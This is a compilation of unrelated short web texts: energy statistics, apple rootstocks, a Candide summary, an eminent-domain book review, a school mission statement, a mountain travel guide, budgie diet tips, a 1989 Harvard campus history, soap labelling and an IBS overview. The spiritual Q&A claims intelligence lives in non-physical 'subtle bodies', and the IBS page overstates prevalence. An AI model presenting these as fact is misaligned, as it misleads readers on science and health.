Simon used data provided by the U.S. Department of Energy’s Energy Information Administration to create that great flow chart you see above. A larger version is available here.
As for the bulk of U.S. energy consumption, the big fossil-fuel players were feeding it in 2011, as usual, but the shale gas revolution continued to show its influence, as did the high price for oil (petroleum continued to dominate as the transportation fuel source, but use of oil did decline a bit).
“Sustained low natural gas prices have prompted a shift from coal to gas in the electricity generating sector,” Simon said. “Sustained high oil prices have likely driven the decline in oil use over the past 5 years as people choose to drive less and purchase automobiles that get more miles per gallon.”
One other interesting change in 2011 came wholly courtesy Mother Nature: Hydroelectric generation rose from 2.51 quads in 2010 to 3.17 quads in 2011 “because 2011 saw large amounts of precipitation in the Western U.S.” and “(h)ydroelectric dams were able to produce at their maximum levels while keeping reservoirs full.” LLNL said 2011 hydro production was similar to what was seen in the wet years of 1997, 1998 and 1999. |
Apple rootstocks can have a variety of desirable characteristics such as resistance to crown rot oomycetes (Phytophthora spp.), resistance to fire blight bacteria (Erwinia amylovora), resistance to Woolly apple aphids, dwarfing and tree branching modifications, increased precocity (early fruitfulness), increased productivity, and tolerance to apple replant disease (ARD). There are five major types of rootstocks used in the US. These include: Budagovsky (= Bud or B), Cornell/Geneva (=CG or G), Malling (=M) & Malling Merton (=MM), Michigan Apple Rootstock Clones (=MARK), and East Malling/Ashton Long (=EMLA) which are certified virus-free selections of Malling or Malling Merton. Rootstock names consist of the the type name or its abbreviation followed by the selection number. For instance, a Budagovsky selection 118 would be seen as either Budagovsky 118, Bud 118 or B.118. They all refer to the same stock material. As mentioned above, EMLA are virus-free rootstocks derived from a corresponding M or MM selection. They have comparable characteristics to the uncertified material, but tend to be 5-10% more vigorous.
Description of commonly available apple rootstocks
B.9 (Bud.9, Budagovsky 9)
Dwarfing rootstock resulting from a cross between M.8 x ‘Red Standard’ (Krasnij Standard) from Russia. B.9 has been widely tested and is used commercially throughout the U.S. It is slightly more dwarfing than M.9 and is slightly more productive. Other traits of note: Very early precocity; very winter hardy; little suckering; requires support; adapted to well drained soil; very resistant to crown rot; more fireblight resistant than M.9.
B.118 (Bud.118, Budagovsky 118)
Semi-Dwarf rootstock resulting from a cross between ‘Moscow pear’ x M.9 or M.8 from the former Soviet Union. It is reported to be very cold hardy, and produces a tree size of about 85% of seedling. It is more precocious than the seedling and can be grown without support. It is moderately resistant to fire blight and crown rot. Other traits of note: Somewhat early bearing; moderately productive; well anchored; needs well drained soils.
A tree on this rootstock will be 50 to 60 percent smaller than a standard tree. Trees on this clone are the most popular of all the rootstock grown. EMLA 7 does well on most soils. Some support may be needed in early years. EMLA 7 is very winter hardy. It is susceptible to suckering. EMLA 7 is extremely tolerant to fire blight.
This rootstock is considered to be smaller than a half size tree. It is about 40 to 45 percent of a standard tree, needs some support in early years, but could be self-supporting in later years. EMLA 26 is very early and heavy bearing. This rootstock is very adaptable for close plantings and double rows.
This rootstock produces a tree about half to two-thirds the size of a standard tree. It does not sucker and the rootstock is resistant to woolly aphid. EMLA 106 has been planted intensively in the East and West and is an excellent producer. It should be planted on well-drained soil as it is susceptible to crown rot.
This rootstock produces a tree about two-thirds the size of a standard tree. Vigorous scion varieties and better soils may grow to three-quarter size or larger. EMLA 111 is a good producing rootstock, is well anchored and tolerant of drought conditions. It is widely adapted to most soil conditions.
M.26 (Malling 26)
Semi-dwarfing rootstock resulting from a cross between M.16 and M.9 made at the East Malling Research Station, Maidstone, Kent, England. M.26 is traditionally considered a dwarf rootstock, but is one of the more vigorous dwarfing rootstocks. M.26 is grown widely throughout the world and is included as a “standard” in many rootstock trials. M.26 is precocious and very productive, produces many burr knots, and is susceptible to crown rot and fire blight. In a joint effort to produce virus free rootstocks, the East Malling and Long Ashton Stations in England used heat treatments to eliminate known viruses and released M.26 EMLA. In general, virus-free rootstocks are slightly more vigorous than the original that contains viruses. Other traits of note: – very early bearing; good productivity; may need support early on; winter hardy; prefers well drained soil; little suckering; susceptible to woolly apple aphid.
G.11 (Geneva 11®)
Semi-dwarfing rootstock resulting from the cross between M.26 x Robusta 5 crabapple and introduced by the New York State Agricultural Experiment Station, Geneva NY. G.11 produces trees of similar size to M.26 and is equally precocious. G.11 is moderately resistant to fire blight; moderately susceptible to woolly apple aphid and crown rot. Other traits of note: requires support in early years; produces few burr knots and root suckers; and it’s well adapted to most soils.
G.41 (Geneva 41®)
Dwarfing rootstock resulting from a cross between M.27 x Robusta 5 crabapple and introduced by the New York State Agricultural Experiement Station, Geneva NY. G.41 is highly resistant to fire blight and phytophthora and it appears to be tolerant of replant disease (ARD). Other traits of note: Early bearing; winter hardy; very little suckering, requires tree support.
G.890 (Geneva 890®)
Semi-dwarfing rootstock; intermediate precocity; winter hardy; does not require support.
G.935 (Geneva 935®)
Dwarfing rootstock resulting from a cross between Ottawa 3 x Robust 5 crabapple and introduced by the New York State Agricultural Experiment Station, Geneva NY. Traits of note include: early bearing; winter hardy; moderate suckering; requires support; very productive; well adapted to most soils; highly resistant to crown rot; highly resistant to fireblight.
M9-337 (Malling 9 virus certified #337)
Dwarfing rootstock selection from M.9 virus-free certified clonal stock developed by the East Malling Research Station, Maidstone, Kent, England. M.9-337 is very precocious and tolerant to a wide range of soil and climatic conditions. Tree support is required.
Nic 29®, RN 29 cv. (Malling 9 selection NIC 29)
A dwarfing rootstock selection of M.9 made in Belgium and is slightly more vigorous than other M.9 selections such as M.9-337. M.9 is used to impart vigor to cultivars such as Empire or Honeycrisp.
A cross of M.9 x M.4, Supporter 4™ is a dwarfing apple rootstock similar in vigor to EMLA 26. Anchorage is similar to EMLA 26, and trees on this root should be grown with some sort of support structure. The rootstock is relatively frost resistant. In tests, Supporter 4™ showed better efficiency than both EMLA 26 and EMLA 106. |
The next day, Cacambo arranges for Candide and Martin to be taken on a ship headed for Constantinople, where Cunégonde is a dishwasher and has lost her beauty. Candide and Martin debate whether or not it is possible to measure the relative unhappiness of individuals. Halfway through the voyage, Candide discovers that Pangloss and the Young Baron—thought dead—are slaves on the galley. As soon as they reach the shore, Candide pays the captain to release them. From there, Candide, Martin, Pangloss and the Baron set off to free Cunégonde.
For the second time, both Pangloss and the Baron are found alive after being thought dead. This happens as though in response to Candide and Martin's argument about relative unhappiness. As always, an event in the story comes along just in time to resolve a philosophical debate: in the next chapter, the misfortunes and unhappiness of the Baron and Pangloss will be compared. |
21 QUESTION: The dissection of Einstein’s brain showed no marked anatomical differences between his brain and the brains of other human beings. What is – in a metaphysical sense – the brain as the physio-psychological vehicle for intelligence and intellect?
ANSWER: This experiment is the very best example to show that intelligence is not in the physical body. The ability to think, to create, has nothing to do with the physical organs, unless, of course, the physical organ is damaged, which would affect the corresponding subtle body. I think most of you know that all thinking takes place in one of the subtle bodies, just as all feeling is in another subtle body.
The subtle bodies, as development proceeds, will integrate and eventually become just one: the spiritual body, where all purified and perfect thinking and feeling will have integrated into the last, ultimate and eternal subtle body. Until this is accomplished, there is division, each function belonging to a special layer or subtle body. The physical layer has, as its sole function, the physical life in its various aspects. But thinking or feeling belongs to different realms, and therefore take place in a different layer or body. |
By Doug French
The Constitution's Fifth Amendment contains the clear language that no person should "be deprived of life, liberty, or property, without due process of law; nor shall private property be taken for public use, without just compensation."
For most people, things like highways, police stations, and courthouses come to mind as examples of "public use." And "just compensation" means what amount of cash a seller demands in exchange for his or her property.
But for local government bureaucrats around the country, the Fifth Amendment has been stood on its head, with "public use" meaning any private use that generates more tax booty for city hall, and "just compensation" meaning whatever the local government goons can steal the property for.
In his outstanding book Abuse of Power: How the government misuses eminent domain, author Steven Greenhut tells of how rich developers and big corporations link arms with local government officials to steal property from small business owners, elderly widows, churches, and just plain old hard-working property owners.
As Greenhut points out, the mention of eminent domain - the power of the state to take private property for public use upon compensating the owner - will typically be met with either bored indifference or a blind justification for the process. People "rarely doubt the legitimacy of eminent domain."
Local governments are especially adept at demonizing property owners who fight eminent domain actions, painting them as greedy obstructionists who are standing in the way of community economic progress.
Greenhut tells the stories of many heroes who fight city hall to keep their property, or obtain reasonable compensation. But, most times these people fight lonely battles against town leaders and government bureaucrats, while their fellow town folk are either rooting against them, or ignorant as to what is happening.
Every city in America is looking for ways to generate more cash flow. Government officials attend conferences and workshops on how to creatively milk more tax money from the electorate. Eminent domain is now a strategy to improve the cash flow of a municipality. A big retail store will generate more tax revenue than a row of older homes or a church. So, declare the present use as "blight," take the property, and in turn, hand it to a national retailer, and your cash flow problems are solved.
"They are picking economic winners and losers," Greenhut writes, "interfering with the natural process by which communities improve themselves, and doing it in the name of promoting economic development, by cleaning up blight."
The definition of blight is no longer a matter of common sense, but has been perverted by government officials and the courts to achieve their desired result - the taking of property. In some cases, houses that lack two-car attached garages or have yards that are too small have been called economically or functionally obsolete, and thus have been considered blight - meaning the property should be razed, and handed over to developers or retailers who will pay higher taxes.
Just when was it that judges took their eyes off of the property rights ball, setting the stage for this tyranny? Greenhut mentions three cases, with the 1954 case of Berman v. Parker doing the most damage to property rights. Berman was "a tour de force of liberal judicial reasoning," according to Greenhut: "a case that gave government carte blanche to do as it pleased with regard to eminent domain."
The case centered on the District of Columbia's Redevelopment Act of 1945, which was created to revitalize a poor section of the city. The court, as Greenhut points out, threw individual rights out the window to justify the redevelopment project.
The following from Justice William O. Douglas captures the essence of the court's decision:
"The experts concluded that if the community were to be healthy, if it were not to revert again to a blighted or slum area, as though possessed of a congenital disease, the area must be planned as a whole. It was not enough, they believed, to remove existing buildings that were unsanitary or unsightly. It was important to redesign the whole area so as to eliminate the conditions that cause slums - the over-crowding of dwellings, the lack of parks, the lack of adequate streets and alleys, the absence of recreational areas, the lack of light and air, the presence of outmoded street patterns. It was believed that the piecemeal approach, the removal of individual structures that were offensive, would be only a palliative."
Greenhut cites other passages from Berman that illustrate the court's totalitarian stance that would set legal precedent to pave the way for thousands of property owners to have their rights trampled upon. The most egregious being:
"If those who govern the District of Columbia decide that the Nation's Capital should be beautiful as well as sanitary, there is nothing in the Fifth Amendment that stands in the way."
Increasing the tax base is what eminent domain is now all about, and the primary financial mechanism used is the Tax Increment Financing (TIF). As Greenhut explains, government redevelopment agencies first declare an area bighted, and in turn, the area becomes part of the city's redevelopment area. At that point, any additional property tax money generated goes to the redevelopment agency, not other areas of the government.
The theory is, of course, that the higher tax revenues must be used to retire the debt financing used by the city to clean up the blight, and when the bonds are retired, the area returns to the original tax status. But, in reality, redevelopment areas remain that way forever.
"The end result: Tax increments divert money from traditional public services, such as police, fire, schools, and courthouses. So, in addition to seeking new property-tax revenue by sparking the development of new retail centers, redevelopment agencies want to create new redevelopment areas to divert existing property-tax revenue from other government agencies."
And, it's not just property taxes that these redevelopment agencies are eying: many cities get a share of the sales taxes generated. Thus, retailers and auto malls will enhance city cash flow.
In a chapter entitled Corporate Welfare Queens, the author lists a number of examples of how people are forced to hand over property so that companies like Costco, IKEA, Wal-Mart, and Home Depot can build stores where they want to. Greenhut singles out Costco as the worst offender, citing numerous instances where the company was involved in eminent domain cases. "Costco is the worst of any corporation out there in the case of eminent domain abuse," John Kramer of the Institute for Justice told Greenhut.
The city of Lancaster, California, attempted to use eminent domain to take a 99 Cents Only Store property, and then sell it to Costco for one dollar. The owner of 99 Cents Only Stores, Dave Gold, decided to fight the condemnation with his own money. Despite the city dropping the case, Gold wanted the court to hear the case. The judge blistered the city of Lancaster, ruling:
"In this case, the evidence is clear beyond dispute, that Lancaster's condemnation efforts rest on nothing more than the desire to achieve the naked transfer of property from one private party to another. In short, the very reason that Lancaster decided to condemn 99 Cents' leasehold interest was to appease Costco."
Did the judge's decision make city officials see the light? Not hardly. David McEwan, Lancaster's city attorney told the Wall Street Journal:
"The court has gone way beyond what the law permits. It's a troubling trend. I don't know where the courts are going with it. 99 Cents produces less than $40,000 [a year] in sales taxes, and Costco was producing more than $400,000. You tell me which is more important."
Decisions like the one in Lancaster have been few and far between. But, after Abuse of Power went to press, the Michigan Supreme Court overturned its own Poletown decision, and drastically restricted Detroit and Wayne County (Michigan) municipalities from seizing private land to give to other private users.
Poletown was a landmark case, that along with Berman, set the standard to justify land seizures. In Poletown, the court originally ruled that it was OK for the city to seize private homes and small businesses so that General Motors could build an auto factory.
In overturning the 1981 ruling, Justice Robert Young wrote:
"We overturn Poletown in order to vindicate our Constitution, protect the people's property rights, and preserve the legitimacy of the judicial branch as the expositor, not creator, of fundamental law."
Wayne County officials expressed outrage over the decision. Robert Ficano, Wayne County Executive said:
"The Michigan Supreme Court's decision to change Michigan law, and divest municipalities from their ability to create jobs for their citizens is a disappointment, not only for Wayne County, but for all of the Michigan communities struggling to address these difficult economic times."
A professor of land use at Wayne State University called the decision a "significant blow" to revitalization efforts. "Any limitation on the power of eminent domain," John Mogk told the Detroit Free Press, "will reduce the chances of the city accomplishing those kinds of projects."
Also on a positive note, this fall the United States Supreme Court agreed to hear arguments in the case of Kelo v. City of New London, Connecticut. The city of New London wants to seize Susette Kelo's home, pay her market value, knock the house down, and lease the property to a private developer for 99 years. No public use is argued by the city, just an increase in the tax base.
Like the Michigan court's reversal of Poletown, a Supreme Court ruling for Ms. Kelo could help turn the tide against local governments that abuse eminent domain.
As it stands now, arrogant public officials believe that cities are their own personal sandboxes to play in. Las Vegas Mayor Oscar Goodman recently described downtown redevelopment to the Las Vegas Chamber of Commerce as:
"It's like playing Monopoly with real money, it's like playing Legos with real bricks and mortar. And, on occasion, you can even help your son."
Hopefully, the Supreme Court will send Mr. Goodman, and his fellow mayors, the message that there is still such a thing as property rights in this country.
Doug French: [email protected]
Doug French is a policy fellow of the Nevada Policy Research Institute
This book review was originally published by lewrockwell.com: www.lewrockwell.com |
To model a modern and standard educational facility where children will develop skills which will enable them to strengthen their lives, families, communities and cultures; through teamwork between staff, students and parents.
Children are the common basis of all dimensions of sustainable development. No advances in sustainable development will occur in the coming decades without multiple generations contributing to societal improvement (SDSN, 2014).
Early childhood is the critical period to lay the foundations for success in education and beyond. Good quality pre-school programs are vital to prepare young children for school. Evidence demonstrates the short and long term benefits of pre-primary education. They range from a head start in literacy and numeracy skills to improved attention, effort and initiative- all of which lead to better education and employment outcomes (testimonies of our reading club beneficiaries on Facebook).
Our vision is to provide quality early childhood development and education using well –trained teachers, ICT and curriculum developed by experts in a child-sensitive, safe and non-violent learning environment; as well as build on life skills of youth in the wider Obuasi community and its environs.
This has been successful with our LEAP Sikapa for Girls initiative which is creating a safe means of income generation for adolescent girls and young women by providing skills development and connecting them to local and international markets.
As a school we believe that educators should be able to identify individuals gifted in many their ways and provide structured paths for them to reach their dreams faster; whether young or old. Hence the achievement of our first batch of students who took part in the Basic Education Examination (BECE) and came out with flying colors in 2021 after locked down is very significant.
We intend to impact many more children by increasing enrollment and replicating our model in other parts of Ghana.
At the LEAP schools, there are lots of savings on investment if you enroll your child in our early childhood or youth programs and stay with us to the end.
To provide a standard educational experience through the integration of academic, moral and socio-physical training in a nurturing and fun-filled environment.
To provide a standard educational facility that can lift children into their full potential in life!
(Leading to Enhance Abilities & Potential – LEAP)
Little steps into Big steps
All children will be loved and cared for in a positively reinforced learning environment that promotes exploration and interaction through:
Teaching the children to be loving, happy, patient, kind, gentle, and forgiving will ensure strong character traits and will ultimately train our children to become leaders.
Under no circumstance will a child under our care ever be ridiculed, humiliated, or subjected to any form of corporal punishment.
If the culture of shaming starts very early people don’t grow out of it! |
Longstreet Highroad Guide to the North Carolina Mountains
By Lynda McDaniel
[Fig. 21] The French Broad River is the largest watercourse in Western North Carolina. First settled by members of the Cherokee Nation and visited in 1540 by the treasure-seeking Spanish explorer Hernando De Soto, the river basin was ultimately occupied by English-speaking settlers. They gave the river its often-misunderstood name because it flowed west toward the Mississippi Valley lands claimed by French explorers and fur traders. With a rich and varied history, the river has had a major influence on human activities in the area and continues to do so today.
From the river's headwaters west of Rosman in Transylvania County to the border of Tennessee, the French Broad is about 70 miles in length. Its drainage basin includes 5,124 square miles, with 1,664 square miles occurring in North Carolina. At its highest elevation, the French Broad River reaches 6,400 feet, where one of its major tributaries, the Swannanoa River, begins below Potato Knob in the Black Mountains. The river's lowest North Carolina elevation, 1,240 feet, occurs at the Tennessee state line west of Hot Springs.
The French Broad River has several characteristics that are unusual for rivers of the southern Appalachians. Due to the nature of southeastern Blue Ridge topography, the river flows in a northward semicircle, cradled between the Tennessee Valley Divide and the Pisgah Ridge. Beginning at the junction of its first three major tributaries, the North, West, and East forks, the river flows first to the northeast, then turns north to Asheville, and finally sweeps to the northwest toward Tennessee.
Another of the French Broad's interesting characteristics is that it flows along a nearly level grade for much of its length. The river's southern portion has an average fall of only 3 feet per mile and, at some locations, as little as 1 foot per mile. This rate eventually increases between Asheville and the Tennessee line, where steeper gorges and narrower channels result in a fall of 16 to 30 feet per mile.
In addition, the river is wider by comparison than others in the region. The slow currents, together with the gently sloping topography, contribute to an expansive floodplain along the river's portion south of Asheville. This floodplain is especially wide in the area between the French Broad's junction with the Mills River and the Asheville vicinity.
Finally, the French Broad River occurs at a fairly low elevation, where winter temperatures are relatively moderate and summer temperatures approach those expected in the Piedmont and Coastal Plain provinces. This combination of geology and climate influences forest and animal species found along the river. While trees typically associated with the mountains such as basswood, tulip poplar, and various oaks are found here, so are a number of floodplain speciesriver birch (Betula nigra), sycamore (Platanus occidentalis), American hornbeam (Carpinus caroliniana), hazel alder (Alnus serrulata), and several species of willow.
A large variety of wildlife, especially birds, can be seen along the French Broad River, the most notable being the wading birds. Great blue herons are numerous, and green (Butorides virescens) and little blue herons (Florida caerulea) appear as well. Egrets, which make their way inland after nesting in Coastal Plain habitats hundreds of miles to the southeast, are a special treat in the mountains. These magnificent white birds can be seen searching for fish and crustaceans along the banks of the French Broad's quiet waters.
Other water birds include the black duck (Anas rubripes), pied-bill and horned grebes (Podilymbus podiceps and Podiceps auritus), belted kingfisher (Megaceryle alcyon), osprey (Pandion haliaetus), wood duck (Aix sponsa), and, occasionally, the spotted sandpiper (Actitus macularia). The southern bald eagle historically nested along the river and still can be spotted today. Migratory woodland and riparian birds commonly seen and heard in summer include the white-eyed and red-eyed vireo (Vireo griseus and V. olivaceus), hooded warbler (Wilsonia citrina), worm-eating warbler, yellow-throated warbler, northern parula warbler (Parula americana), Acadian and great crested flycatcher (Empidonax virescens and Myiarchus crinitus), Louisiana waterthrush (Seiurus motacilla), and various swallow species.
One of the best ways to see the wading birds and ducks is from the river itself. There is good access to quiet water stretches at Sandy Bottom near the Bent Creek area. For those lacking the proper equipment, outfitters offer canoes and rafts plus put-in and take-out shuttles (see Appendix C). Two-hour trips, for example, take visitors along an easy route with just enough Class I rapids to make this a relaxed but fun family outing. Paddlers are treated to views of floodplain forest and river-edge vegetation and wildlife, as well as the historic Biltmore Estate property and mansion. Sharp eyes will spot river otters, white-tailed deer, and perhaps turtles basking on sunlit logs. Colorful red skimmer dragonflies often hover above the French Broad's waters which sparkle with tiny flakes of mica.
West of Asheville, paddlers are treated to a totally different experience. Intense whitewater excitement replaces the relaxed drifting and nature study possible below the city. For whitewater enthusiasts, numerous parks (both city and county) provide access points from Asheville to Hot Springs. There are also a number of whitewater river outfitters in Western North Carolina that offer guided trips through the various stretches of rapids (see Appendix C).
Once polluted and nearly lifeless, the beautiful French Broad River has been rehabilitated and now supports a wide variety of fish, including largemouth bass (Micropterus salmoides), brown and rainbow trout (Salmo trutta and Oncorhynchus mykiss), muskellunge (Esox masquinongy), and catfish. Riverlink, Inc., a nonprofit community organization, has been spearheading efforts to promote the health and use of the river, including converting former industrial areas along the Asheville riverfront into parks, riverside shops, and other businesses.
[Fig. 21(21)] The Colburn Gem and Mineral Museum, located on historic Pack Square in downtown Asheville, is one of the four museums of the Pack Place Education, Arts and Science Center. The museum showcases a diverse collection of gems and minerals from around the state and from numerous parts of the world.
Exhibits begin in the first room with a brief history on the development of the Dana Classification System of minerals. Along the left wall, various colorful minerals are grouped in classes labeled Halides/Borates, Carbonates, and Oxides/Sulfates, and there is an exhibit of crystallography, including an intriguing phenomenon known as "phantom" crystals. Between these exhibits are insets of specimens of the major mineral groups.
Separate floor exhibits feature beautiful, large crystals of emerald in its natural matrix, a quartz-aragonite that somewhat resembles an undersea finger coral, calcite crystals with sand inclusions, and a magnificent aquamarine weighing 376 pounds, one of the museum's premier possessions.
Another display features minerals that emit scintillating fluorescent tints when exposed to ultraviolet light controlled by the viewer. Nearby is another viewer-operated switch that demonstrates a sandstone that literally flexes without breaking.
Toward the rear of the museum, a popular permanent exhibit spotlights the minerals for which North Carolina is most famous. Entitled "North CarolinaThe Gem State," this exhibit includes native emeralds, rubies, sapphires, and gold. The economically valuable spodumene, mica, feldspar, granite, olivine, and phosphate are also on display. A brief history of the nation's first gold rush, which occurred following the mineral's discovery in North Carolina, rounds out the exhibit. This area of the museum also has featured special or traveling displays, such as the Foster Sondley Gem Collection and the rarely shown Harvard Gold Collection.
The final exhibit room includes displays of cut and polished precious and semi-precious gemstones plus intricately fashioned articles of jade and lapis lazuli and examples of decorative and ornamental stones and pigments, such as those used in monuments, buildings, and paints. The left wall includes ores and minerals accompanied by derivative products in a display entitled "Resources of Modern Civilization."
The Colburn Museum holds two other outstanding exhibits. The world's largest star sapphire, the "Star of the Carolinas," is on view here. Listed in the Guinness Book of World Records, this black polished stone has a finish weight of 1,445 carats. Also displayed is a collection of the extremely rare mineral hiddenite.
The museum sponsors various programs and events, including lectures, teacher training, school outreach programs, field trips, mineral identification, and an annual mineral sale. The Starlab Planetarium also is operated under the auspices of the museum.
[Fig. 21(22)] In his epic autobiographical classic, Look Homeward, Angel, American novelist Thomas Wolfe chronicled his boyhood in Asheville and immortalized his mother's "Dixieland" boarding house where he spent many of his childhood years. The sprawling Victorian structure, located downtown, has been preserved almost intact, providing visitors with a glimpse of the experiences that shaped the legendary authorand of the memories that he kept alive in his work.
Next to the memorial, a newly opened visitor center features an audiovisual program about Wolfe's life. In addition, an exhibit hall showcases the contents of the writer's New York apartment and items from his father's stone monument carving shop which also figured prominently in his writing. All in-print books by Thomas Wolfe are available at the visitor center.
[Fig. 21(25)] Beneath the high peaks of the Great Craggy Mountains is a valley that has inspired community, creativity, learning, and a sense of harmony with the environment. Evidence exists of settlement in the Swannanoa Valley as early as the Middle Archaic period (50001500 b.c.) Today, Warren Wilson College students and others from across the country study the culture of those settlers by participating in the excavation of one of the most significant archeological sites in southern Appalachia.
Best known as the location of a prehistoric Cherokee village around a.d. 1350, the site has been operated as an archeological dig since 1965. In 1996, the Eastern Band of the Cherokee Indians accepted an invitation from Warren Wilson College to become partners in the project, making it the first excavation in North Carolina working in conjunction with the Cherokee people to define and teach cultural sensitivity to future archeologists.
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Budgies enjoy a varied diet of seeds, fruits and vegetables. Budgerigars are vegetarians so stop preparing that juicy stake for your new friend and head down to your local pet store or super market to stock up on some more budgie friendly snacks.
Budgies love vegetables, which are a great source of vitamins and minerals, helping your Budgie stay happy, healthy and energetic. Safe vegetables include: Beet, Broccoli, Cauliflower, Carrots, Cucumber, all Cabbage varieties, fresh Beans, fresh Romane Lettuce, fresh Peas, Parsnip, all Pepper varieties, all Squash varieties, Sweet potatoes, Tomato, Turnip, Yams and Zucchini.
Whole Grains and Cereals
In their natural habitat budgies thrive on grass seeds, but in a contained environment we can spice their diet up with things like: Amaranth, Barley, Couscous, Flax, whole-grain Pastas, Oat, Quinoa, Whole-Wheat, Wild-Rice and whole Rices.
Budgies also enjoy Grains and Legumes including Almonds, Beans, Lentils, Peas, Nuts, Tofu, Adzuki beans, Alfalfa beans, Buckwheat, Lentils, Mungo beans, Pinto beans, Red Kidney beans, Sesame seeds and Sunflower seeds. Avoid Lima and Navy beans' sprouts because they are toxic for budgies. Budgies also enjoy Millet and this can be used as a treat or reward.
Flowers and Blossoms
When it comes to flora, budgies don’t discriminate too much and certain flowers and blossoms are good for their diet. Take not that certain leaves from these plants can be poisonous to your budgie so take care. Carnations, Chamomille, Chives, Dandelion, Day Lilies, Eucalyptus, Fruit tree's blossoms, Herbs' blossoms, Hibiscus, Honeysuckle, Impatiens, Lilac, Nasturiums, Pansies, Passion Flower (Passiflora), Roses, Sunflowers, Tulips and Violets can all be beneficial to your Budgies health and part of a balanced diet.
Certain greens can cause calcium deficiencies, liver damage, and other health problems for Budgies if fed regularly. However some safe greens that your budgie will enjoy include: Bok-Choi, Broccoli &/or Cauliflower leaves, Cabbage leaves, Collard greens, Dandelion leaves, Kelp, Mustard leaves, Seaweeds, Spirulina and Water cress.
Don’t feed budgies certain foods
There are certain foods that you should never give your budgerigar, or it may end up as a case of killing them with kindness. Foods such as chocolate, alcohol or avocado are a nice treat for humans, but can be lethal for budgies. Foods and products containing lactose, garlic and onions should also be avoided as they also carry the danger of toxicosis for budgies.
If you are unsure if something is good or bad for your budgie you are best off consulting a vet before feeding it to them!
© 2012 thebudgiecage.com |
The lyrics from a Stevie Wonder song blared across Leverett House’s dining hall from a boombox while Aya de Leon ’89 and her friends listened to the words.
“I just never understood,” Wonder sang. “How a man who died for good would not have a day that would be set aside for his recognition. Happy birthday to you.”
It was Martin Luther King, Jr.’s birthday and de Leon had chosen the Wonder song to commemorate the strides the visionary had taken during the Civil Rights movement.
De Leon remembered a senior administrator approaching her friends and brusquely insisting they turn off the music, seemingly oblivious to the occasion.
Only a few hours later, the same administrator rapped on her door and proceeded to apologize profusely for his mistake, while de Leon stood in the doorway, laundry and clutter strewn around her room.
“It was one of those moments where I just felt deeply uncomfortable racially,” de Leon noted, recalling how vulnerable she felt.
The incident speaks to a wider trend on campus during 1988 and 1989. Many minority students felt marginalized by the University while administrators walked on eggshells, tiptoeing around racial issues.
Some student activists felt that the legacy of discrimination at Harvard before the Civil Rights era still loomed large.
But it was not only racial minorities who felt ignored by the University. Many women at Harvard College also felt marginalized. Radcliffe women had once been banned from Lamont Library and, according to the Radcliffe Student Union website, were required to clean the dorms of male students living around Harvard Yard.
Discrimination had taken a slightly more subtle tack by 1989. It was a glass ceiling that now prevented women from acquiring the most prestigious and coveted professorships or reaching the upper echelons of the faculty and administration. During 1988, the University began to make efforts to change the face of an administration still dominated by white men by making several strategic appointments to high profile positions.
Those efforts signaled to some that the University had begun to recognize the role that minorities ought to play at Harvard. Others claimed that the University had not done enough.
Harvard students rallied behind movements demanding change on campus, sparking a wave of dialogue and discussion over the treatment of minorities and women at the College.
OFF THE TENURE TRACK
Three decades had passed since the 1954 Supreme Court case Brown v. Board of Education, which desegregated American public schools and prompted sweeping civil rights legislation. The wave of reforms included the Civil Rights Act of 1964, which prohibited employment discrimination among other things.
Yet Harvard only employed a few faculty members who were either women or minorities. |
True Soap is made using water, lye* and oil or fat. Mixed together in the proper proportions and at the correct temperature, a chemical reaction happens and the process of saponification begins. After the saponification process is complete, the fatty acids from the oils/fats and lye/water are converted to a fatty acid salt known as “soap” and glycerol. Handcrafted soapmakers leave the glycerol in their finished soap. There is no lye left in soap once it is cured or processed.
Even if 100% of the agricultural ingredients are USDA Certified Organic, it is still basically impossible to make a soap with more than 85% organic ingredients – remember the water and the lye are not organic, because they are not agricultural! For a more detailed explaination please visit one of my favorite websites: http://botaniesoap.com/frequently-asked-questions
If someone markets their soap as organic, ask them the name of their USDA Certifying Agent… organic claims for soap are regulated under the National Organic Program and without certification, organic claims are not allowed.
If someone markets their soap as handmade, ask if they make it from scratch or whether they handcraft from a pre-made base, if that matters to you.
If someone markets their soap as natural, ask what ingredients they use for color and scent. Unless they use pure essential oils, they may be scenting with synthetic fragrances, in which case the soap is not all natural! Soapmakers often use herbs, botanicals, and minerals for color. These ingredients also can be natural or synthetic. If this matters to you…ask!
And if a product claims to be some amazing new technology but still pretends to be soap… if it sounds too good to be true…it probably is! Soap Cleans is a blog post I wrote about that subject! |
Irritable Bowel Syndrome? IBS?
Irritable Bowel Syndrome (IBS) is the most common chronic health disorder in America, Canada, the UK, Australia, and New Zealand, affecting more people than asthma, diabetes, and depression combined. Irritable Bowel Syndrome is a physical - not psychological - disorder that affects mainly the bowel, which is also called the large intestine. The bowel is the part of the digestive system that makes and stores stool.
IBS is characterized by its symptoms: lower abdominal pain or discomfort, diarrhea, constipation (or alternating diarrhea/constipation), gas, bloating, and nausea. There is no cure for Irritable Bowel Syndrome, but there are many very effective ways of controlling and even eliminating IBS symptoms.
Interestingly, IBS affects far more women than men; seventy-five percent of people diagnosed with Irritable Bowel Syndrome are women. However, IBS symptoms, IBS diagnosis protocols, and IBS treatments are the same for women and men.
Irritable Bowel Syndrome is not a disease. It's a functional disorder, which means that the bowel simply does not work as it should. Irritable Bowel Syndrome is characterized as a brain-gut dysfunction. As a part of this dysfunction, the gastrocolic reflex goes awry.
Symptoms of Irritable Bowel Syndrome - What Are IBS Symptoms?
It's important to verify that your symptoms match those of IBS before you accept this diagnosis. As noted, Irritable Bowel Syndrome is characterized by its symptoms: continuous or recurrent lower abdominal pain or cramping (from mild to excruciating) in association with altered bowel motility (diarrhea, constipation, or both).
IBS attacks may strike suddenly at any time of day or night, and may occasionally - though not typically - wake you from a sound sleep. Gas and bloating are common, but vomiting isn't, though it can occur due to nausea from the pain. Upper GI symptoms are not a typical part of the syndrome. For women, attacks are often associated with menstruation.
Passing blood, running a fever, swollen extremities, and joint pain are not symptoms of IBS, and point to other disorders. IBS is diagnosed in part by the use of the official diagnostic criteria known as the Rome Guidelines.
IBS Symptoms in Women
Irritable Bowel Syndrome Symptoms in Women For both men and women, Irritable Bowel Syndrome is characterized by its symptoms:
Lower abdominal pain or discomfort
Gas and bloating are common IBS symptoms in women
IBS symptoms in women include chronic but intermittent lower abdominal pain or discomfort in association with diarrhea, constipation, or both. However, IBS symptoms in women tend to be more severe than IBS symptoms in men, though symptoms can be successfully treated.
Gas and bloating are common IBS symptoms in women, but vomiting isn't, though it can occur due to nausea from the pain. Upper GI symptoms are not a typical part of the syndrome, though women with IBS are statistically more prone to GERD and acid reflux.
Passing blood, running a fever, swollen extremities, and joint pain are never symptoms of IBS in women, and point to other disorders.
